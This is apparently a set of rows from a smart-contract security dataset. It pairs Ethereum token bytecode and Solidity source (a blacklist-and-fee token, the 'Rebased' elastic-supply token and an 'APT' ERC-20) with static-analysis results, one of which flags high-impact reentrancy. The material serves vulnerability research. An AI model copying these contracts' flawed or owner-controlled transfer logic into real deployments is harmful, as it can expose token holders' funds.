1b0383166000908152600b602052604090205460ff16158015611a0257506001600160a01b0382166000908152600b602052604090205460ff16155b611a5a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610763565b6000611a65306111c1565b601a54601854919250821015908210611a7e5760185491505b808015611a955750601754600160a01b900460ff16155b8015611aaf57506017546001600160a01b03868116911614155b8015611ac45750601754600160a81b900460ff165b15611ae457611ad282611d3d565b478015611ae257611ae247611f05565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680611b2957506001600160a01b03831660009081526005602052604090205460ff165b80611b5b57506017546001600160a01b03858116911614801590611b5b57506017546001600160a01b03848116911614155b15611b6857506000611c73565b6017546001600160a01b038581169116148015611b9357506016546001600160a01b03848116911614155b15611ba557600c54601055600d546011555b6001600160a01b03841660009081526005602052604090205460ff16611c3657601854821115611c365760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610763565b6017546001600160a01b038481169116148015611c6157506016546001600160a01b03858116911614155b15611c7357600e54601055600f546011555b61130a84848484611f8a565b60008184841115611ca35760405162461bcd60e51b8152600401610763919061271a565b506000611cb084866128c3565b95945050505050565b6000600954821115611d205760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610763565b6000611d2a611fb8565b9050611d368382611fdb565b9392505050565b6017805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611d8557611d85612921565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015611dd957600080fd5b505afa158015611ded573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e1191906124da565b81600181518110611e2457611e24612921565b6001600160a01b039283166020918202929092010152601654611e4a913091168461161a565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac94790611e839085906000908690309042906004016127a4565b600060405180830381600087803b158015611e9d57600080fd5b505af1158015611eb1573d6000803e3d6000fd5b50506017805460ff60a01b1916905550505050565b6000546001600160a01b03163314611ef05760405162461bcd60e51b81526004016107639061276f565b6017805460ff60b01b1916600160b01b179055565b6014546001600160a01b03166108fc611f1f836002611fdb565b6040518115909202916000818181858888f19350505050158015611f47573d6000803e3d6000fd5b506015546001600160a01b03166108fc611f62836002611fdb565b6040518115909202916000818181858888f193505050501580156107d4573d6000803e3d6000fd5b80611f9757611f9761201d565b611fa284848461204b565b8061130a5761130a601254601055601354601155565b6000806000611fc5612142565b9092509050611fd48282611fdb565b9250505090565b6000611d3683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612184565b60105415801561202d5750601154155b1561203457565b601080546012556011805460135560009182905555565b60008060008060008061205d876121b2565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061208f908761220f565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546120be9086612251565b6001600160a01b0389166000908152600260205260409020556120e0816122b0565b6120ea84836122fa565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161212f91815260200190565b60405180910390a3505050505050505050565b6009546000908190683635c9adc5dea0000061215e8282611fdb565b82101561217b57505060095492683635c9adc5dea0000092509050565b90939092509050565b600081836121a55760405162461bcd60e51b8152600401610763919061271a565b506000611cb08486612882565b60008060008060008060008060006121cf8a60105460115461231e565b92509250925060006121df611fb8565b905060008060006121f28e878787612373565b919e509c509a509598509396509194505050505091939550919395565b6000611d3683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c7f565b60008061225e838561286a565b905083811015611d365760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610763565b60006122ba611fb8565b905060006122c883836123c3565b306000908152600260205260409020549091506122e59082612251565b30600090815260026020526040902055505050565b600954612307908361220f565b600955600a546123179082612251565b600a555050565b6000808080612338606461233289896123c3565b90611fdb565b9050600061234b60646123328a896123c3565b905060006123638261235d8b8661220f565b9061220f565b9992985090965090945050505050565b600080808061238288866123c3565b9050600061239088876123c3565b9050600061239e88886123c3565b905060006123b08261235d868661220f565b939b939a50919850919650505050505050565b6000826123d2575060006109ac565b60006123de83856128a4565b9050826123eb8583612882565b14611d365760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610763565b600082601f83011261245357600080fd5b8135602061246861246383612846565b612815565b80838252828201915082860187848660051b890101111561248857600080fd5b60005b858110156124b057813561249e8161294d565b8452928401929084019060010161248b565b5090979650505050505050565b6000602082840312156124cf57600080fd5b8135611d368161294d565b6000602082840312156124ec57600080fd5b8151611d368161294d565b6000806040838503121561250a57600080fd5b82356125158161294d565b915060208301356125258161294d565b809150509250929050565b60008060006060848603121561254557600080fd5b83356125508161294d565b925060208401356125608161294d565b929592945050506040919091013590565b6000806040838503121561258457600080fd5b823561258f8161294d565b91506020830135801515811461252557600080fd5b600080604083850312156125b757600080fd5b82356125c28161294d565b946020939093013593505050565b6000602082840312156125e257600080fd5b813567ffffffffffffffff8111156125f957600080fd5b61260584828501612442565b949350505050565b6000806040838503121561262057600080fd5b823567ffffffffffffffff8082111561263857600080fd5b61264486838701612442565b935060209150818501358181111561265b57600080fd5b85019050601f8101861361266e57600080fd5b803561267c61246382612846565b80828252848201915084840189868560051b870101111561269c57600080fd5b600094505b838510156126bf5780358352600194909401939185019185016126a1565b5080955050505050509250929050565b6000602082840312156126e157600080fd5b5035919050565b600080600080608085870312156126fe57600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b818110156127475785810183015185820160400152820161272b565b81811115612759576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156127f45784516001600160a01b0316835293830193918301916001016127cf565b50506001600160a01b03969096166060850152505050608001529392505050565b604051601f8201601f1916810167ffffffffffffffff8111828210171561283e5761283e612937565b604052919050565b600067ffffffffffffffff82111561286057612860612937565b5060051b60200190565b6000821982111561287d5761287d6128f5565b500190565b60008261289f57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156128be576128be6128f5565b500290565b6000828210156128d5576128d56128f5565b500390565b60006000198214156128ee576128ee6128f5565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610cc457600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220184ec48dd8a2b45e4fe9b5f6fe0919d012b57d00839b77eab029c0207e0191d264736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
8,338
0xe6279e1c65dd41b30ba3760dcac3cd8bbb4420d6
// SPDX-License-Identifier: MIT /* MIT License Copyright (c) 2018 requestnetwork Copyright (c) 2018 Fragments, Inc. Copyright (c) 2020 Rebased Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ pragma solidity ^0.6.12; /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } } /** * @title SafeMathInt * @dev Math operations for int256 with overflow safety checks. */ library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } } /** * @title Rebased ERC20 token * @dev Rebased is based on the uFragments Ideal Money protocol. * uFragments is a normal ERC20 token, but its supply can be adjusted by splitting and * combining tokens proportionally across all wallets. * * uFragment balances are internally represented with a hidden denomination, 'gons'. * We support splitting the currency in expansion and combining the currency on contraction by * changing the exchange rate between the hidden 'gons' and the public 'fragments'. */ contract Rebased is ERC20Detailed { using SafeMath for uint256; using SafeMathInt for int256; event LogRebase(uint256 indexed epoch, uint256 totalSupply); // Used for authentication address public monetaryPolicy; modifier onlyMonetaryPolicy() { require(msg.sender == monetaryPolicy); _; } modifier validRecipient(address to) { require(to != address(0x0)); require(to != address(this)); _; } uint256 private constant DECIMALS = 9; uint256 private constant MAX_UINT256 = ~uint256(0); uint256 private constant INITIAL_FRAGMENTS_SUPPLY = 25 * 10**5 * 10**DECIMALS; // TOTAL_GONS is a multiple of INITIAL_FRAGMENTS_SUPPLY so that _gonsPerFragment is an integer. // Use the highest value that fits in a uint256 for max granularity. uint256 private constant TOTAL_GONS = MAX_UINT256 - (MAX_UINT256 % INITIAL_FRAGMENTS_SUPPLY); // MAX_SUPPLY = maximum integer < (sqrt(4*TOTAL_GONS + 1) - 1) / 2 uint256 private constant MAX_SUPPLY = ~uint128(0); // (2^128) - 1 uint256 private _totalSupply; uint256 private _gonsPerFragment; mapping(address => uint256) private _gonBalances; // This is denominated in Fragments, because the gons-fragments conversion might change before // it's fully paid. mapping (address => mapping (address => uint256)) private _allowedFragments; /** * @dev Notifies Fragments contract about a new rebase cycle. * @param supplyDelta The number of new fragment tokens to add into circulation via expansion. * @return The total number of fragments after the supply adjustment. */ function rebase(uint256 epoch, int256 supplyDelta) external onlyMonetaryPolicy returns (uint256) { if (supplyDelta == 0) { emit LogRebase(epoch, _totalSupply); return _totalSupply; } if (supplyDelta < 0) { _totalSupply = _totalSupply.sub(uint256(supplyDelta.abs())); } else { _totalSupply = _totalSupply.add(uint256(supplyDelta)); } if (_totalSupply > MAX_SUPPLY) { _totalSupply = MAX_SUPPLY; } _gonsPerFragment = TOTAL_GONS.div(_totalSupply); // From this point forward, _gonsPerFragment is taken as the source of truth. // We recalculate a new _totalSupply to be in agreement with the _gonsPerFragment // conversion rate. // This means our applied supplyDelta can deviate from the requested supplyDelta, // but this deviation is guaranteed to be < (_totalSupply^2)/(TOTAL_GONS - _totalSupply). // // In the case of _totalSupply <= MAX_UINT128 (our current supply cap), this // deviation is guaranteed to be < 1, so we can omit this step. If the supply cap is // ever increased, it must be re-included. // _totalSupply = TOTAL_GONS.div(_gonsPerFragment) emit LogRebase(epoch, _totalSupply); return _totalSupply; } constructor(address _monetaryPolicy) ERC20Detailed("Rebased", "REB", uint8(DECIMALS)) public { _totalSupply = INITIAL_FRAGMENTS_SUPPLY; _gonBalances[msg.sender] = TOTAL_GONS; _gonsPerFragment = TOTAL_GONS.div(_totalSupply); monetaryPolicy = _monetaryPolicy; emit Transfer(address(0x0), msg.sender, _totalSupply); } /** * @return The total number of fragments. */ function totalSupply() external override view returns (uint256) { return _totalSupply; } /** * @param who The address to query. * @return The balance of the specified address. */ function balanceOf(address who) external override view returns (uint256) { return _gonBalances[who].div(_gonsPerFragment); } /** * @dev Transfer tokens to a specified address. * @param to The address to transfer to. * @param value The amount to be transferred. * @return True on success, false otherwise. */ function transfer(address to, uint256 value) external override validRecipient(to) returns (bool) { uint256 gonValue = value.mul(_gonsPerFragment); _gonBalances[msg.sender] = _gonBalances[msg.sender].sub(gonValue); _gonBalances[to] = _gonBalances[to].add(gonValue); emit Transfer(msg.sender, to, value); return true; } /** * @dev Function to check the amount of tokens that an owner has allowed to a spender. * @param owner_ The address which owns the funds. * @param spender The address which will spend the funds. * @return The number of tokens still available for the spender. */ function allowance(address owner_, address spender) external override view returns (uint256) { return _allowedFragments[owner_][spender]; } /** * @dev Transfer tokens from one address to another. * @param from The address you want to send tokens from. * @param to The address you want to transfer to. * @param value The amount of tokens to be transferred. */ function transferFrom(address from, address to, uint256 value) external override validRecipient(to) returns (bool) { _allowedFragments[from][msg.sender] = _allowedFragments[from][msg.sender].sub(value); uint256 gonValue = value.mul(_gonsPerFragment); _gonBalances[from] = _gonBalances[from].sub(gonValue); _gonBalances[to] = _gonBalances[to].add(gonValue); emit Transfer(from, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of * msg.sender. This method is included for ERC20 compatibility. * increaseAllowance and decreaseAllowance should be used instead. * Changing an allowance with this method brings the risk that someone may transfer both * the old and the new allowance - if they are both greater than zero - if a transfer * transaction is mined before the later approve() call is mined. * * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) external override returns (bool) { _allowedFragments[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Increase the amount of tokens that an owner has allowed to a spender. * This method should be used instead of approve() to avoid the double approval vulnerability * described above. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) external returns (bool) { _allowedFragments[msg.sender][spender] = _allowedFragments[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner has allowed to a spender. * * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) { uint256 oldValue = _allowedFragments[msg.sender][spender]; if (subtractedValue >= oldValue) { _allowedFragments[msg.sender][spender] = 0; } else { _allowedFragments[msg.sender][spender] = oldValue.sub(subtractedValue); } emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]); return true; } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c57806395d89b411161006657806395d89b4114610298578063a457c2d7146102a0578063a9059cbb146102cc578063dd62ed3e146102f8576100cf565b806370a082311461022b5780637a43e23f146102515780638e27d7d714610274576100cf565b806306fdde03146100d4578063095ea7b31461015157806318160ddd1461019157806323b872dd146101ab578063313ce567146101e157806339509351146101ff575b600080fd5b6100dc610326565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101165781810151838201526020016100fe565b50505050905090810190601f1680156101435780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561016757600080fd5b506001600160a01b0381351690602001356103bc565b604080519115158252519081900360200190f35b610199610423565b60408051918252519081900360200190f35b61017d600480360360608110156101c157600080fd5b506001600160a01b03813581169160208101359091169060400135610429565b6101e9610570565b6040805160ff9092168252519081900360200190f35b61017d6004803603604081101561021557600080fd5b506001600160a01b038135169060200135610579565b6101996004803603602081101561024157600080fd5b50356001600160a01b031661060c565b6101996004803603604081101561026757600080fd5b5080359060200135610634565b61027c610748565b604080516001600160a01b039092168252519081900360200190f35b6100dc61075c565b61017d600480360360408110156102b657600080fd5b506001600160a01b0381351690602001356107bc565b61017d600480360360408110156102e257600080fd5b506001600160a01b0381351690602001356108a5565b6101996004803603604081101561030e57600080fd5b506001600160a01b0381358116916020013516610991565b60008054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103b25780601f10610387576101008083540402835291602001916103b2565b820191906000526020600020905b81548152906001019060200180831161039557829003601f168201915b5050505050905090565b3360008181526006602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b60035490565b6000826001600160a01b03811661043f57600080fd5b6001600160a01b03811630141561045557600080fd5b6001600160a01b038516600090815260066020908152604080832033845290915290205461048390846109de565b6001600160a01b03861660009081526006602090815260408083203384529091528120919091556004546104b89085906109f3565b6001600160a01b0387166000908152600560205260409020549091506104de90826109de565b6001600160a01b03808816600090815260056020526040808220939093559087168152205461050d9082610a21565b6001600160a01b0380871660008181526005602090815260409182902094909455805188815290519193928a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350600195945050505050565b60025460ff1690565b3360009081526006602090815260408083206001600160a01b03861684529091528120546105a79083610a21565b3360008181526006602090815260408083206001600160a01b0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b6004546001600160a01b038216600090815260056020526040812054909161041d91906109bc565b60025460009061010090046001600160a01b0316331461065357600080fd5b8161069957600354604080519182525184917f72725a3b1e5bd622d6bcd1339bb31279c351abe8f541ac7fd320f24e1b1641f2919081900360200190a25060035461041d565b60008212156106bf576106b76106ae83610a33565b600354906109de565b6003556106d0565b6003546106cc9083610a21565b6003555b6003546001600160801b0310156106ed576001600160801b036003555b6003546107039066055b706271bfff19906109bc565b600455600354604080519182525184917f72725a3b1e5bd622d6bcd1339bb31279c351abe8f541ac7fd320f24e1b1641f2919081900360200190a25060035492915050565b60025461010090046001600160a01b031681565b60018054604080516020601f600260001961010087891615020190951694909404938401819004810282018101909252828152606093909290918301828280156103b25780601f10610387576101008083540402835291602001916103b2565b3360009081526006602090815260408083206001600160a01b0386168452909152812054808310610810573360009081526006602090815260408083206001600160a01b038816845290915281205561083f565b61081a81846109de565b3360009081526006602090815260408083206001600160a01b03891684529091529020555b3360008181526006602090815260408083206001600160a01b0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b6000826001600160a01b0381166108bb57600080fd5b6001600160a01b0381163014156108d157600080fd5b60006108e8600454856109f390919063ffffffff16565b3360009081526005602052604090205490915061090590826109de565b33600090815260056020526040808220929092556001600160a01b038716815220546109319082610a21565b6001600160a01b0386166000818152600560209081526040918290209390935580518781529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a3506001949350505050565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b60008082116109ca57600080fd5b60008284816109d557fe5b04949350505050565b6000828211156109ed57600080fd5b50900390565b600082610a025750600061041d565b82820282848281610a0f57fe5b0414610a1a57600080fd5b9392505050565b600082820183811015610a1a57600080fd5b6000600160ff1b821415610a4657600080fd5b60008212610a54578161041d565b506000039056fea26469706673582212202c2aebf6e70bd93e177a98f1d1bc6f168a6f0dd400aade32bc12190fed74ff3864736f6c634300060c0033
{"success": true, "error": null, "results": {}}
8,339
0xf69641555d58b3275ca0d2fcf16fe0be3b9e4846
pragma solidity ^0.4.25; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // require(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a); return c; } } library Address { /** * @dev Returns true if `account` is a contract. * * This test is non-exhaustive, and there may be false-negatives: during the * execution of a contract's constructor, its address will be reported as * not containing a contract. * * > It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } contract IERC20Receiver { function onERC20Received(address from, uint256 value) public returns (bytes4); } /** * @title ERC20 interface * @dev see https://eips.ethereum.org/EIPS/eip-20 */ interface IERC20 { function transfer(address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); function transferFrom(address from, address to, uint256 value) public returns (bool); function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function allowance(address owner, address spender) public view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://eips.ethereum.org/EIPS/eip-20 * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for * all accounts just by listening to said events. Note that this isn't required by the specification, and other * compliant implementations may not do it. */ contract ERC20 is IERC20 { using SafeMath for uint256; using Address for address; mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) private _allowed; uint256 internal _totalSupply; /** * @dev Total number of tokens in existence. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return A uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token to a specified address. * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { _transfer(from, to, value); _approve(from, msg.sender, _allowed[from][msg.sender].sub(value)); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when _allowed[msg.sender][spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue)); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when _allowed[msg.sender][spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Transfer token for a specified addresses. * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); if (to.isContract()) { IERC20Receiver(to).onERC20Received(from, value); } emit Transfer(from, to, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function burn(uint256 value) public { _burn(msg.sender, value); } /** * @dev Approve an address to spend another addresses' tokens. * @param owner The address that owns the tokens. * @param spender The address that will spend the tokens. * @param value The number of tokens that can be spent. */ function _approve(address owner, address spender, uint256 value) internal { require(spender != address(0)); require(owner != address(0)); _allowed[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _burn(account, value); _approve(account, msg.sender, _allowed[account][msg.sender].sub(value)); } } contract APT is ERC20 { string public name; string public symbol; uint8 public decimals; address public owner; /** * @dev Constructor function */ constructor (string _name, string _symbol, uint8 _decimals, uint256 totalSupply) public { owner = msg.sender; name = _name; symbol = _symbol; decimals = _decimals; _totalSupply = totalSupply; _balances[msg.sender] = totalSupply; } }
